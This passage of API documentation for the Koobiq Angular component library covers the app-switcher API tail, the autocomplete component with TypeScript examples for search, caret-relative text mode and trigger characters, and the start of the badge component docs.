##### KbqAppSwitcherSite (interface)

```ts
interface KbqAppSwitcherSite {
    name: string;
    id: string | number;
    status?: string;
    icon?: string;
    iconSrc?: string;
    apps: KbqAppSwitcherApp[];
}
```

- `icon?`: `string` — Inline SVG markup for the site icon. Use this for SVG icons that should be rendered directly in the DOM.
  Sanitized the same way as `KbqAppSwitcherApp.icon`.
- `iconSrc?`: `string` — Path to the icon file (URL or relative path).

#### Constants

##### KBQ_APP_SWITCHER_CONFIGURATION (const)

Deprecated: Use `KBQ_APP_SWITCHER_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_APP_SWITCHER_CONFIGURATION: InjectionToken<KbqAppSwitcherLocaleConfiguration>;
```

##### KBQ_APP_SWITCHER_DEFAULT_CONFIGURATION (const)

Deprecated: Use `KBQ_APP_SWITCHER_DEFAULT_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_APP_SWITCHER_DEFAULT_CONFIGURATION: KbqAppSwitcherLocaleConfiguration;
```

##### KBQ_MIN_NUMBER_OF_APPS_TO_ENABLE_GROUPING (const)

```ts
const KBQ_MIN_NUMBER_OF_APPS_TO_ENABLE_GROUPING: number;
```

##### KBQ_MIN_NUMBER_OF_APPS_TO_ENABLE_SEARCH (const)

```ts
const KBQ_MIN_NUMBER_OF_APPS_TO_ENABLE_SEARCH: number;
```

##### kbqAppSwitcherLocaleConfigurationProvider (const)

Utility provider for `KBQ_APP_SWITCHER_LOCALE_CONFIGURATION`. Only the strings you pass are overridden; the rest
keep following the active locale.

```ts
const kbqAppSwitcherLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqAppSwitcherLocaleConfiguration>
) => Provider;
```

## Autocomplete

- Entry point: `@koobiq/components/autocomplete`
- NgModule: `KbqAutocompleteModule`
- Page: https://koobiq.io/en/components/autocomplete/overview

### Overview

Autocomplete suggests matching options in a dropdown while the user types and lets them select a value without entering it in full.

**Example: Autocomplete** (`autocomplete-overview`)

```ts autocomplete-overview-example.ts
import { AsyncPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, OnInit } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqAutocompleteModule } from '@koobiq/components/autocomplete';
import { KbqFormsModule, KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { Observable } from 'rxjs';
import { map, startWith } from 'rxjs/operators';

@Component({
    selector: 'autocomplete-overview-example',
    imports: [
        KbqAutocompleteModule,
        KbqInputModule,
        ReactiveFormsModule,
        AsyncPipe,
        KbqFormsModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <div class="kbq-form kbq-form-vertical">
            <div class="kbq-form__row">
                <label class="kbq-form__label">Enter countries to see autocomplete</label>
                <kbq-form-field>
                    <input kbqInput type="text" [formControl]="control" [kbqAutocomplete]="auto" />

                    <kbq-autocomplete #auto="kbqAutocomplete">
                        @for (option of filteredOptions | async; track option) {
                            <kbq-option [value]="option">
                                <span [innerHTML]="option | kbqHighlightBackground: control.value"></span>
                            </kbq-option>
                        }
                    </kbq-autocomplete>

                    <kbq-cleaner />
                </kbq-form-field>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AutocompleteOverviewExample implements OnInit {
    options = [
        'Abkhazia',
        'Australia',
        'Austria',
        'Azerbaijan',
        'Aland Islands',
        'Albania',
        'Algeria',
        'Anguilla',
        'Angola',
        'Andorra',
        'Argentina',
        'Armenia',
        'Aruba',
        'Afghanistan',
        'Bahamas',
        'Bangladesh',
        'Barbados',
        'Bahrain',
        'Belarus',
        'Belize',
        'Belgium',
        'Benin',
        'Bulgaria',
        'Bolivia',
        'Bosnia & Herzegovina',
        'Botswana',
        'Brazil',
        'Brunei Darussalam',
        'Burundi',
        'Bhutan',
        'Vatican City',
        'United Kingdom',
        'Hungary',
        'Venezuela',
        'Timor',
        'Viet Nam',
        'Gabon',
        'Haiti',
        'Gambia',
        'Ghana',
        'Guadeloupe',
        'Guatemala',
        'Guinea',
        'Guinea-Bissau',
        'Germany',
        'Gibraltar',
        'Hong Kong',
        'Honduras',
        'Grenada',
        'Greenland',
        'Greece',
        'Georgia',
        'Guam',
        'Denmark',
        'Dominica',
        'Dominican Republic',
        'Egypt',
        'Zambia',
        'Western Sahara',
        'Zimbabwe',
        'Israel',
        'India',
        'Indonesia',
        'Jordan',
        'Iraq',
        'Iran',
        'Ireland',
        'Iceland',
        'Spain',
        'Italy',
        'Yemen',
        'Kazakhstan',
        'Cambodia',
        'Cameroon',
        'Canada',
        'Qatar',
        'Kenya',
        'Cyprus',
        'Kyrgyzstan',
        'Kiribati',
        'China',
        'Colombia',
        'Korea, D.P.R.',
        'Korea',
        'Costa Rica',
        "Cote d'Ivoire",
        'Cuba',
        'Kuwait',
        'Lao P.D.R.',
        'Latvia',
        'Lesotho',
        'Liberia',
        'Lebanon',
        'Libyan Arab Jamahiriya',
        'Lithuania',
        'Liechtenstein',
        'Luxembourg',
        'Mauritius',
        'Mauritania',
        'Madagascar',
        'Macedonia',
        'Malawi',
        'Malaysia',
        'Mali',
        'Maldives',
        'Malta',
        'Morocco',
        'Mexico',
        'Mozambique',
        'Moldova',
        'Monaco',
        'Mongolia',
        'Namibia',
        'Nepal',
        'Niger',
        'Nigeria',
        'Netherlands',
        'Nicaragua',
        'New Zealand',
        'Norway',
        'United Arab Emirates',
        'Oman',
        'Pakistan',
        'Panama',
        'Paraguay',
        'Peru',
        'Poland',
        'Portugal',
        'Russia',
        'Romania',
        'San Marino',
        'Saudi Arabia',
        'Senegal',
        'Serbia',
        'Singapore',
        'Syrian Arab Republic',
        'Slovakia',
        'Slovenia',
        'Somalia',
        'Sudan',
        'USA',
        'Tajikistan',
        'Thailand',
        'Tanzania',
        'Togo',
        'Tunisia',
        'Turkmenistan',
        'Turkey',
        'Uganda',
        'Uzbekistan',
        'Ukraine',
        'Uruguay',
        'Micronesia',
        'Fiji',
        'Philippines',
        'Finland',
        'France',
        'Croatia',
        'Chad',
        'Montenegro',
        'Czech Republic',
        'Chile',
        'Switzerland',
        'Sweden',
        'Sri Lanka',
        'Ecuador',
        'Eritrea',
        'Estonia',
        'Ethiopia',
        'South Africa',
        'Jamaica',
        'Japan'
    ];

    control = new FormControl('');
    filteredOptions: Observable<string[]>;

    ngOnInit(): void {
        this.filteredOptions = this.control.valueChanges.pipe(
            startWith(''),
            map((value) => this.filter(value as string))
        );
    }

    private filter(value: string): string[] {
        const filterValue = value ? value.toLowerCase() : '';

        return this.options.filter((option) => option.toLowerCase().includes(filterValue));
    }
}
```

#### Search

To make **Autocomplete** search for each word in a query independently and ignore case and diacritics, add `createSearchPredicate` to the option filtering — this enables [smart search](https://koobiq.io/en/other/search-smart.md).

**Example: Autocomplete smart search** (`autocomplete-search-smart`)

```ts autocomplete-search-smart-example.ts
import { AsyncPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, OnInit } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqAutocompleteModule } from '@koobiq/components/autocomplete';
import {
    createSearchPredicate,
    KbqFormsModule,
    KbqHighlightBackgroundPipe,
    tokenizeSearchQuery
} from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { Observable } from 'rxjs';
import { map, startWith } from 'rxjs/operators';

@Component({
    selector: 'autocomplete-search-smart-example',
    imports: [
        KbqAutocompleteModule,
        KbqInputModule,
        ReactiveFormsModule,
        AsyncPipe,
        KbqFormsModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <div class="kbq-form kbq-form-vertical">
            <div class="kbq-form__row">
                <label class="kbq-form__label">
                    Try
                    <strong>republic african</strong>
                    or
                    <strong>korea south</strong>
                </label>
                <kbq-form-field>
                    <input kbqInput type="text" [formControl]="control" [kbqAutocomplete]="auto" />

                    <kbq-autocomplete #auto="kbqAutocomplete">
                        @for (option of filteredOptions | async; track option) {
                            <kbq-option [value]="option">
                                <span [innerHTML]="option | kbqHighlightBackground: searchTokens"></span>
                            </kbq-option>
                        }
                    </kbq-autocomplete>

                    <kbq-cleaner />
                </kbq-form-field>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AutocompleteSearchSmartExample implements OnInit {
    options = [
        'United Kingdom',
        'United Arab Emirates',
        'United States',
        'South Africa',
        'South Korea',
        'North Korea',
        'Central African Republic',
        'Dominican Republic',
        "Cote d'Ivoire",
        'Costa Rica'
    ];

    control = new FormControl('');
    filteredOptions: Observable<string[]>;
    protected searchTokens: string[] = [];

    ngOnInit(): void {
        this.filteredOptions = this.control.valueChanges.pipe(
            startWith(''),
            map((value) => this.filter(value as string))
        );
    }

    private filter(value: string): string[] {
        this.searchTokens = tokenizeSearchQuery(value ?? '');

        return this.options.filter(createSearchPredicate(value ?? ''));
    }
}
```

#### Suggestions next to the caret

`kbqAutocompleteRelativeToCaret` opens the dropdown next to the caret. In wide fields, suggestions appear where the user is likely looking.

#### Text autocomplete

`kbqAutocompleteTextMode` inserts the selected option after the caret instead of replacing the field's content. It is useful for multiline fields, slash commands and mentions.

**Example: Autocomplete in text** (`autocomplete-textarea`)

```ts autocomplete-textarea-example.ts
import { ChangeDetectionStrategy, Component, computed, signal } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqAutocompleteModule } from '@koobiq/components/autocomplete';
import { KbqHighlightBackgroundPipe, KbqTextQuery } from '@koobiq/components/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqTextareaModule } from '@koobiq/components/textarea';

@Component({
    selector: 'autocomplete-textarea-example',
    imports: [
        KbqAutocompleteModule,
        KbqFormFieldModule,
        KbqTextareaModule,
        ReactiveFormsModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-label>Incident description</kbq-label>
            <textarea
                kbqTextarea
                placeholder="Type fire, thr or vul"
                [formControl]="control"
                [kbqAutocomplete]="auto"
                [kbqAutocompleteRelativeToCaret]="true"
                [kbqAutocompleteTextMode]="true"
                (kbqAutocompleteQueryChange)="query.set($event)"
            ></textarea>

            <kbq-autocomplete #auto="kbqAutocomplete" [autoActiveFirstOption]="true">
                @for (option of filteredOptions(); track option) {
                    <kbq-option [value]="option">
                        <span [innerHTML]="option | kbqHighlightBackground: query()?.text ?? ''"></span>
                    </kbq-option>
                }
            </kbq-autocomplete>
        </kbq-form-field>
    `,
    styles: `
        kbq-form-field {
            width: 480px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center'
    }
})
export class AutocompleteTextareaExample {
    protected readonly control = new FormControl('');
    protected readonly query = signal<KbqTextQuery | null>(null);

    // Prefix matches keep the active option continuing the word, which is what the inline hint needs.
    protected readonly filteredOptions = computed(() => {
        const text = this.query()?.text.toLowerCase();

        return text ? this.options.filter((option) => option.toLowerCase().startsWith(text)) : [];
    });

    private readonly options = [
        'false positive',
        'file integrity',
        'filter rule',
        'fingerprint',
        'firewall',
        'firmware',
        'threat',
        'threat hunting',
        'threat intelligence',
        'token',
        'traffic',
        'trojan',
        'virus',
        'VPN',
        'vulnerability',
        'vulnerability scan'
    ];
}
```

##### Trigger characters

`kbqAutocompleteTriggers` sets the characters and strings that start a query. For example, use `/` for commands and `@` for mentions.

**Example: Autocomplete with triggers** (`autocomplete-triggers`)

```ts autocomplete-triggers-example.ts
import { ChangeDetectionStrategy, Component, computed, signal } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqAutocompleteModule } from '@koobiq/components/autocomplete';
import { KbqTextQuery } from '@koobiq/components/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqTextareaModule } from '@koobiq/components/textarea';

interface Suggestion {
    /** What the option shows. */
    label: string;
    /** What choosing the option puts into the text in place of the query. */
    insert: string;
}

@Component({
    selector: 'autocomplete-triggers-example',
    imports: [
        KbqAutocompleteModule,
        KbqFormFieldModule,
        KbqTextareaModule,
        ReactiveFormsModule
    ],
    template: `
        <kbq-form-field>
            <kbq-label>Comment</kbq-label>
            <textarea
                kbqTextarea
                placeholder="Type / for a snippet or @ to mention a colleague"
                [formControl]="control"
                [kbqAutocomplete]="auto"
                [kbqAutocompleteRelativeToCaret]="true"
                [kbqAutocompleteTextMode]="true"
                [kbqAutocompleteTriggers]="triggers"
                (kbqAutocompleteQueryChange)="query.set($event)"
            ></textarea>

            <kbq-autocomplete #auto="kbqAutocomplete" [autoActiveFirstOption]="true" [displayWith]="insertText">
                @for (suggestion of filteredSuggestions(); track suggestion.label) {
                    <kbq-option [value]="suggestion">{{ suggestion.label }}</kbq-option>
                }
            </kbq-autocomplete>
        </kbq-form-field>
    `,
    styles: `
        kbq-form-field {
            width: 480px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center'
    }
})
export class AutocompleteTriggersExample {
    protected readonly control = new FormControl('');
    protected readonly triggers = ['/', '@'];
    protected readonly query = signal<KbqTextQuery | null>(null);

    protected readonly filteredSuggestions = computed(() => {
        const query = this.query();

        if (!query) return [];

        const suggestions = query.trigger === '@' ? this.colleagues : this.snippets;
        const text = query.text.toLowerCase();

        return suggestions.filter(({ insert, label }) =>
            (query.trigger === '@' ? insert.slice(1) : label.slice(1)).toLowerCase().startsWith(text)
        );
    });

    protected readonly insertText = (suggestion: Suggestion): string => suggestion.insert;

    private readonly snippets: Suggestion[] = [
        { label: '/closed — closing note', insert: 'Closed as a false positive.' },
        { label: '/escalate — escalation note', insert: 'Escalated to the second line.' },
        { label: '/sign — signature', insert: 'Best regards, SOC team' }
    ];

    private readonly colleagues: Suggestion[] = [
        { label: 'Alice Johnson', insert: '@alice' },
        { label: 'Bob Smith', insert: '@bob' },
        { label: 'Carol White', insert: '@carol' }
    ];
}
```

##### Inline hint

Faded text after the caret shows how the input will be completed. With `autoActiveFirstOption` disabled, the hint appears after the user starts navigating the list.

#### Panel width

By default the panel sizes to its content and is never narrower than the field or than `panelMinWidth`, which is 200px. This can be changed with the `panelWidth` and `panelMinWidth` attributes:

```html
<!-- Match the field, but never go below panelMinWidth -->
<kbq-autocomplete panelWidth="auto" />

<!-- An exact width; panelMinWidth is not applied -->
<kbq-autocomplete [panelWidth]="400" />

<!-- Any CSS value works, e.g. shrink to fit the options -->
<kbq-autocomplete panelWidth="fit-content" />

<!-- Widen the default lower bound -->
<kbq-autocomplete [panelMinWidth]="350" />

<!-- Let the panel grow further with its content; the default cap is 640px -->
<kbq-autocomplete [panelMaxWidth]="800" />
```

Growth by content stops at 640px. The cap is soft — it never makes the panel narrower than the field, and never clamps an explicit `panelWidth`. Change it globally through the `--kbq-panel-size-width-max` token, which is shared with select, tree-select and dropdown.

#### Footer

You can place auxiliary elements in the footer: [buttons](https://koobiq.io/en/components/button.md), [links](https://koobiq.io/en/components/link.md), hints.

**Example: Autocomplete with footer** (`autocomplete-with-footer`)

```ts autocomplete-with-footer-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqAutocompleteModule } from '@koobiq/components/autocomplete';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqLink } from '@koobiq/components/link';
import { debounceTime, distinctUntilChanged, map } from 'rxjs/operators';

@Component({
    selector: 'autocomplete-with-footer-example',
    imports: [
        KbqAutocompleteModule,
        KbqInputModule,
        ReactiveFormsModule,
        KbqLink,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-label>Label</kbq-label>
            <kbq-hint>Autocomplete with footer</kbq-hint>
            <input
                #trigger="kbqAutocompleteTrigger"
                kbqInput
                [formControl]="control"
                [kbqAutocomplete]="autocomplete"
            />
            <kbq-autocomplete #autocomplete="kbqAutocomplete">
                @for (option of filteredOptions(); track option) {
                    <kbq-option [value]="option">
                        <span [innerHTML]="option | kbqHighlightBackground: control.value"></span>
                    </kbq-option>
                }
                <kbq-autocomplete-footer>
                    <a kbqLink external (click)="trigger.closePanel()">Link</a>
                </kbq-autocomplete-footer>
            </kbq-autocomplete>
            <kbq-cleaner />
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AutocompleteWithFooterExample {
    readonly options = Array.from({ length: 100 }, (_, i) => `Option ${i + 1}`);
    readonly control = new FormControl('');
    readonly filteredOptions = toSignal(
        this.control.valueChanges.pipe(
            debounceTime(300),
            distinctUntilChanged(),
            map((value) => this.options.filter((option) => option.toLowerCase().includes((value ?? '').toLowerCase())))
        ),
        { initialValue: this.options }
    );
}
```

#### Keyboard navigation

| Key           | Action                                                                                                                                                            |
| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ↓             | Opens the panel. If the panel is open, moves focus to the next enabled option.                                                                                    |
| ↑             | Moves focus to the previous enabled option                                                                                                                        |
| →             | Accepts the suggestion in inline hint mode, closes the panel, and leaves focus in the field                                                                       |
| Enter         | If an option is active, selects it, closes the panel, and leaves focus in the field. In text mode, inserts the selected option at the caret without a line break. |
| Esc / Alt + ↑ | Closes the panel and leaves focus in the field                                                                                                                    |
| Tab           | Closes the panel and moves focus to the next element. In inline hint mode, inserts the suggestion, closes the panel, and leaves focus in the field.               |

### API

#### Components

##### KbqAutocomplete (component)

```ts
@Component({ selector: 'kbq-autocomplete', exportAs: 'kbqAutocomplete' })
class KbqAutocomplete implements KbqOptionParentComponent {
    readonly displayWith = input<((value: any) => string) | null>(null);
    readonly panelWidth = input<KbqPanelWidth | undefined>();
    readonly panelMinWidth = input<number>(KBQ_PANEL_DEFAULT_MIN_WIDTH);
    readonly panelMaxWidth = input<KbqPanelMaxWidth>(null);
    readonly hostClass = input<string>('', { alias: 'class' });
    readonly autoActiveFirstOption = input<boolean>(
        !!this.defaultOptions.autoActiveFirstOption
    );
    readonly openOnFocus = input<boolean>(true);
    readonly optionSelected = output<KbqAutocompleteSelectedEvent>();
    readonly opened = output<void>();
    readonly closed = output<void>();
    readonly id: string;
    readonly template: Signal<TemplateRef<any>>;
    readonly panel: Signal<ElementRef<any>>;
    get options(): QueryList<KbqOption>;
    readonly optionGroups: Signal<readonly KbqOptgroup[]>;
    readonly isOpen: Signal<boolean>;
}
```

- `[displayWith]`: `((value: any) => string) | null` — Function that maps an option's control value to its display value in the trigger.
- `[panelWidth]`: `KbqPanelWidth | undefined` — Specify the width of the autocomplete panel. If set to `auto`, the panel will match the width of
  its host, but will never be narrower than `panelMinWidth`. Any other CSS sizing value is used as an
  exact width, and `panelMinWidth` is not applied. When not set, the panel sizes to its content and is
  at least as wide as its host.
- `[panelMinWidth]`: `number` — Minimum width of the panel in pixels.
  When panelWidth is not set, the panel will be at least as wide as its host and no less than panelMinWidth.
- `[panelMaxWidth]`: `KbqPanelMaxWidth` — Maximum width of the panel in pixels. Caps how far the panel grows with its content — it never makes
  the panel narrower than its host, and never clamps an explicit `panelWidth`.
  When null, the `--kbq-panel-size-width-max` token applies.
- `[class]`: `string` — Classes set on the host `kbq-autocomplete` element. They are applied to the panel inside the
  overlay container instead, to allow for easy styling.

  Accepts every shape Angular's own `[class]` binding does. The binding value arrives here raw:
  Angular converts it to a string before handing it to a styling-shadowing input only when the element
  carries a static `class` attribute, which `<kbq-autocomplete>` does not.
- `[autoActiveFirstOption]`: `boolean` — Whether the first option should be highlighted when the autocomplete panel is opened.
  Can be configured globally through the `KBQ_AUTOCOMPLETE_DEFAULT_OPTIONS` token.
- `[openOnFocus]`: `boolean` — Whether the panel opens as soon as the trigger receives focus.
- `(optionSelected)`: `KbqAutocompleteSelectedEvent` — Event that is emitted whenever an option from the list is selected.
- `(opened)`: `void` — Event that is emitted when the autocomplete panel is opened.
- `(closed)`: `void` — Event that is emitted when the autocomplete panel is closed.
- `id`: `string` — Unique id, rendered as the panel element's `id`.
- `isOpen`: `Signal<boolean>` — Whether the panel is visible: attached by the trigger and holding at least one option.

#### Directives

##### KbqAutocompleteFooter (directive)

Footer that is rendered below the autocomplete options panel.

```ts
@Directive({ selector: '[kbqAutocompleteFooter], kbq-autocomplete-footer' })
class KbqAutocompleteFooter {}
```

##### KbqAutocompleteOrigin (directive)

Directive applied to an element to make it usable
as a connection point for an autocomplete panel.

```ts
@Directive({
    selector: '[kbqAutocompleteOrigin]',
    exportAs: 'kbqAutocompleteOrigin'
})
class KbqAutocompleteOrigin {
    elementRef: ElementRef<HTMLElement>;
}
```

##### KbqAutocompleteTrigger (directive)

```ts
@Directive({
    selector: 'input[kbqAutocomplete], textarea[kbqAutocomplete]',
    exportAs: 'kbqAutocompleteTrigger'
})
class KbqAutocompleteTrigger implements ControlValueAccessor, KeyboardNavigationHandler, KbqSiblingPopup {
    readonly autocomplete = input<KbqAutocomplete>(undefined, {
        alias: 'kbqAutocomplete'
    });
    readonly connectedTo = input<KbqAutocompleteOrigin>(undefined, {
        alias: 'kbqAutocompleteConnectedTo'
    });
    readonly autocompleteDisabled = input<boolean>(false, {
        alias: 'kbqAutocompleteDisabled'
    });
    readonly onInputBlur = input<(event: FocusEvent) => boolean>(
        (event: FocusEvent): boolean => {
            const target: HTMLElement = event.relatedTarget as HTMLElement;

            return !target || target.tagName !== 'KBQ-OPTION';
        },
        { alias: 'kbqAutocompleteOnBlur' }
    );
    readonly relativeToCaret = input<boolean>(false, {
        alias: 'kbqAutocompleteRelativeToCaret'
    });
    readonly textMode = input<boolean>(false, {
        alias: 'kbqAutocompleteTextMode'
    });
    readonly queryTriggers = input<readonly string[]>([], {
        alias: 'kbqAutocompleteTriggers'
    });
    readonly queryMinLength = input<number | undefined>(undefined, {
        alias: 'kbqAutocompleteMinLength'
    });
    readonly inlineHint = input<boolean>(true, {
        alias: 'kbqAutocompleteInlineHint'
    });
    readonly queryChange = output<KbqTextQuery | null>({
        alias: 'kbqAutocompleteQueryChange'
    });
    get activeOption(): KbqOption | null;
    get panelOpen(): boolean;
    get isAttached(): boolean;
    readonly openedChange: Observable<boolean>;
    readonly optionSelections: Observable<KbqOptionSelectionChange>;
    get panelClosingActions(): Observable<KbqOptionSelectionChange | null>;
    open(): void;
    closePanel(): void;
    updatePosition(): void;
    handleKeydown(event: KeyboardEvent): void;
    handleInput(event: Event): void;
    handleFocus(): void;
    handleClick($event: Event): void;
    scrollActiveOptionIntoView(): void;
}
```

- `[kbqAutocomplete]`: `KbqAutocomplete` — The autocomplete panel to be attached to this trigger.
- `[kbqAutocompleteConnectedTo]`: `KbqAutocompleteOrigin` — Reference relative to which to position the autocomplete panel.
  Defaults to the autocomplete trigger element.
- `[kbqAutocompleteDisabled]`: `boolean` — Whether the autocomplete is disabled. When disabled, the element will
  act as a regular input and the user won't be able to open the panel.
- `[kbqAutocompleteOnBlur]`: `(event: FocusEvent) => boolean` — Event handler for input blur events.
  Determines whether the blur event is triggered outside the specific target
- `[kbqAutocompleteRelativeToCaret]`: `boolean` — Whether the panel opens from the text caret instead of the field: its left edge at the caret, right below the
  caret's line, following the caret while it moves. The panel is only as wide as its options — `panelMinWidth`
  does not apply there, an explicit `panelWidth` still does.
- `[kbqAutocompleteTextMode]`: `boolean` — Whether the autocomplete completes the text at the caret instead of the whole value. The query is the word
  before the caret, or the text after one of `kbqAutocompleteTriggers`; choosing an option replaces the query,
  trigger included, with the option. The form value stays the whole text.
- `[kbqAutocompleteTriggers]`: `readonly string[]` — Strings that start a query in text mode, such as `/` or `@`. When empty, the query is the word before the caret.
- `[kbqAutocompleteMinLength]`: `number | undefined` — Shortest query that opens the panel in text mode. Defaults to `1` for a word and to `0` after a trigger.
- `[kbqAutocompleteInlineHint]`: `boolean` — Whether text mode draws the rest of the active option after the caret, to be accepted with `Tab` or `→`. The
  field has to be inside `kbq-form-field`.
- `(kbqAutocompleteQueryChange)`: `KbqTextQuery | null` — Emits the query at the caret in text mode whenever it changes, or `null` once there is none. The query is read
  again as the user types or clicks in the field, and as the caret moves while the panel is open. It carries the
  trigger it starts with, which tells apart the options to show for each trigger.
- `activeOption`: `KbqOption | null` — The currently active option, coerced to MatOption type.
- `isAttached`: `boolean` — Whether the autocomplete panel is currently on screen. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the panel opens and `false` when it closes. Part of the `KbqSiblingPopup`
  contract.

  Built on top of the `autocomplete` signal rather than read once: the panel is bound after the consumers
  of this stream are created (a tooltip on the same element subscribes in its constructor).
- `panelClosingActions`: `Observable<KbqOptionSelectionChange | null>` — A stream of actions that should close the autocomplete panel, including
  when an option is selected, on blur, and when TAB is pressed.
- `open()`: `void` — Opens the autocomplete suggestion panel.
- `updatePosition()`: `void` — Updates the position of the autocomplete suggestion panel to ensure that it fits all options
  within the viewport.

#### Classes

##### KbqAutocompleteSelectedEvent (class)

```ts
class KbqAutocompleteSelectedEvent {
    source: KbqAutocomplete;
    option: KbqOption;
    constructor(source: KbqAutocomplete, option: KbqOption);
}
```

#### Functions

##### KBQ_AUTOCOMPLETE_DEFAULT_OPTIONS_FACTORY (function)

```ts
function KBQ_AUTOCOMPLETE_DEFAULT_OPTIONS_FACTORY(): KbqAutocompleteDefaultOptions;
```

#### Types

##### KbqAutocompleteDefaultOptions (interface)

Default `kbq-autocomplete` options that can be overridden.

```ts
interface KbqAutocompleteDefaultOptions {
    autoActiveFirstOption?: boolean;
}
```

- `autoActiveFirstOption?`: `boolean` — Whether the first option should be highlighted when an autocomplete panel is opened.

#### Constants

##### KBQ_AUTOCOMPLETE_DEFAULT_OPTIONS (const)

Injection token to be used to override the default options for `kbq-autocomplete`.

```ts
const KBQ_AUTOCOMPLETE_DEFAULT_OPTIONS: InjectionToken<KbqAutocompleteDefaultOptions>;
```

##### KBQ_AUTOCOMPLETE_SCROLL_STRATEGY (const)

Injection token that determines the scroll handling while the autocomplete panel is open. The root default
keeps the trigger usable outside `KbqAutocompleteModule`'s injector; providing the token anywhere still wins
over it.

```ts
const KBQ_AUTOCOMPLETE_SCROLL_STRATEGY: InjectionToken<() => ScrollStrategy>;
```

## Badge

- Entry point: `@koobiq/components/badge`
- NgModule: `KbqBadgeModule`
- Page: https://koobiq.io/en/components/badge/overview

### Overview

A badge is used to highlight the status, count, or other important characteristics of an object.

#### Properties

##### Style

**Example: Badge fill and style** (`badge-overview`)

```ts badge-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';

@Component({
    selector: 'badge-overview-example',
    imports: [
        KbqBadgeModule
    ],
    templateUrl: 'badge-overview-example.html',
    styleUrls: ['badge-overview-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BadgeOverviewExample {
    colors = KbqBadgeColors;
}
```

```html badge-overview-example.html
<div class="example-badge-fill-and-style">
    <div class="layout-row layout-gap-l">
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Theme</div>
            <kbq-badge [badgeColor]="colors.Theme">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Error</div>
            <kbq-badge [badgeColor]="colors.Error">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Warning</div>
            <kbq-badge [badgeColor]="colors.Warning">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Success</div>
            <kbq-badge [badgeColor]="colors.Success">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Contrast</div>
            <kbq-badge [badgeColor]="colors.Contrast">Badge</kbq-badge>
        </div>
    </div>

    <div class="layout-row layout-gap-l">
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Fade Theme</div>
            <kbq-badge [badgeColor]="colors.FadeTheme">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Fade Error</div>
            <kbq-badge [badgeColor]="colors.FadeError">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Fade Warning</div>
            <kbq-badge [badgeColor]="colors.FadeWarning">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Fade Success</div>
            <kbq-badge [badgeColor]="colors.FadeSuccess">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Fade Contrast</div>
            <kbq-badge [badgeColor]="colors.FadeContrast">Badge</kbq-badge>
        </div>
    </div>

    <div class="layout-row layout-gap-l">
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Outline Fade Theme</div>
            <kbq-badge [badgeColor]="colors.FadeTheme" [outline]="true">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Outline Fade Error</div>
            <kbq-badge [badgeColor]="colors.FadeError" [outline]="true">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
